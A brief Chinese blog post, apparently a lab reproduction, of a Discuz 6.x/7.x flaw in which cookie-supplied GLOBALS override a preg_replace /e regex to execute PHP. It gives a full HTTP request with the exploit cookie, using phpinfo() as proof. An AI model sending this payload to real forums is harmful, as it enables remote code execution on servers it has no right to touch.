Discuz 7.x/6.x 全局变量防御绕过导致代码执行
作者:互联网
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
产品样子
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
发送数据包
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 192.168.1.53:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.53:8080/forumdisplay.php?fid=2
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
标签:php,zh,smilies,Discuz,GLOBALS,DCACHE,代码执行,Cookie,全局变量 来源: https://blog.csdn.net/qq_38656841/article/details/121771144